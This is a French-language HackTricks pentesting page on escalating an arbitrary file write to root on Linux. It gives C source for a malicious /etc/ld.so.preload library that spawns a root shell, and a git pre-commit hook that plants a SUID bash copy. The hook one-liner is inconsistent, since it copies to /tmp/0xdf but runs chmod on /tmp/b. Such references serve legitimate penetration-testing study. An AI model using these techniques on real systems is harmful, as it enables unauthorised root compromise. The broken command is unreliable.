hacktricks/linux-hardening/privilege-escalation/write-to-root.md
2023-06-03 13:10:46 +00:00

4.6 KiB

Écriture de fichier arbitraire vers root

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

/etc/ld.so.preload

Ce fichier se comporte comme la variable d'environnement LD_PRELOAD mais il fonctionne également dans les binaires SUID.
Si vous pouvez le créer ou le modifier, vous pouvez simplement ajouter un chemin vers une bibliothèque qui sera chargée avec chaque binaire exécuté.

Par exemple : echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git hooks

Les Git hooks sont des scripts qui sont exécutés sur différents événements dans un dépôt git, comme lorsqu'un commit est créé, une fusion... Ainsi, si un script ou un utilisateur privilégié effectue fréquemment ces actions et qu'il est possible d'écrire dans le dossier .git, cela peut être utilisé pour escalader les privilèges.

Par exemple, il est possible de générer un script dans un dépôt git dans .git/hooks afin qu'il soit toujours exécuté lorsqu'un nouveau commit est créé:

{% code overflow="wrap" %}

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

{% endcode %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥